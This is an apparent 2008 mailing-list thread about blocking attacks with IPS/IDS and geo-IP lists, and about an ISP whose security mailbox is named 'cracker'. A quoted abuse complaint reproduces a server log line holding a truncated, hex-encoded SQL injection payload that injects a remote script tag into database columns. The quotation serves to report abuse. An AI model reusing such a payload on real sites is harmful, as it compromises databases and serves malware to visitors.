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Re: Infiltration of ISP providers by crackers.

I do not normally bother following up on reports on all attacks. Most of them are scripted and there are too many. So, my IPS/IDS has a good list of 'not-to-block' IP addresses and whatever else outside this IP list attacks any service is blocked. Most good IPS/IDS vendors also provide near real-time lists of network blocks, especially from countries with large ISP segments that typically consist of various classes of IP blocks for home DSL/dialup customers, where most of the compromised PCs serve botnets and malicious scripters. This keeps the number of IPTABLES rules down and can block most of these annoying attacks.

GEO-IP blocking may also help if you definitely know that you should not be expecting traffic from any part of the world. Problem is you need to update the ip list regularly and be ready to accept some false positives from IPs that suddenly are legit.

For other types of more persistent and unusual attacks, you need to get in touch with the CERT team of a major telco provider. They are keen to know of these issues and if they provide the backbone of your connectivity, maybe there is part of your SLA that covers these sort of things, generally speaking.


George Magklaras

Senior Computer Systems Engineer/UNIX Systems Administrator
EMBnet Technical Management Board
The Biotechnology Centre of Oslo,
University of Oslo

Jose R R wrote:
So ...(sigh) what do you do when you complain to a given ISP provider about
a case of attempted abuse by one of their IP addresses and you get a
response from someone in the "security team" whose email name is "cracker?"

Apparently some (or many) of these crackers own (with their consent or not)
even their ISP providers --or worse, some (or many) ISP providers may be
crackers themselves!

A portion of my original complaint to the ISP --where I list one of the
attempted abuse records by the cracker for informational purposes:

from myself <my_emai_address> tonetwork-adm hinet net,
network-center hinet net
dateMon, Aug 25, 2008 at 11:37 PM subjectAbuse by user at IP address mailed-bymy_domain

On August 25, 2008, from 08:52:10  am to 08:52:28 am (America/Tijuana time),
user at IP address abused <my> web site with the below
referenced offending code (relevant web server log section is attached and
named as abuse-118_167_20_180.txt). - - [25/Aug/2008:08:52:10 -0700] "GET
xenserver-4-1-and-32-bit-and-64-bit-virt?blog=4';DECLARE%20 S
%20CHAR(4000);SET%20 S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474
HTTP/1.1" 400 567 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
Foxy/1; Foxy/1; .NET CLR 1.1.4322)"


I would appreciate your cooperation in stopping this sort of cracker

Thank you in advance for your prompt attention to this issue.

---------------End of portion of email

Below is an Interesting section of one of the replies:


Return-Path: <my_email_address>
Received: from localhost (localhost [])
        by dns.adsl.hinet.net (8.12.3/8.12.3/Debian-6.6) with ESMTP id
        for <cracker localhost>; Tue, 26 Aug 2008 18:06:31 +0800

----------End of unformatted

The above was attached to the formated email reply below:


from cracker hinet net to<my_email_address>
dateTue, Aug 26, 2008 at 4:24 AM subject[HiNetSOC/Craker : 1219749049]HiNet
Notification(HiNet 通知) mailed-bylcss.hinet.net
hide details 4:24 AM (11 hours ago)

Dear Sir:

 Thank you for your email. Please kindly provide us more detail information
about the bad behavior at least including the attackers' IP address, time
(GMT, Greenwich Mean Time) and evidence for further processing.
- Hide quoted text -

Yours sincerely,

HiNet Security Operation Center
Chunghwa Telecom Co., Ltd.
Taipei, Taiwan, R.O.C.
Email: cracker hinet net


------End of formatted email

No wonder spam and intrusion attempts never end.

Jose R R

IBM Lotus Symphony <http://symphony.lotus.com> is officially supported on RH
and SuSE; official Ubuntu support coming at the end of August 2008.

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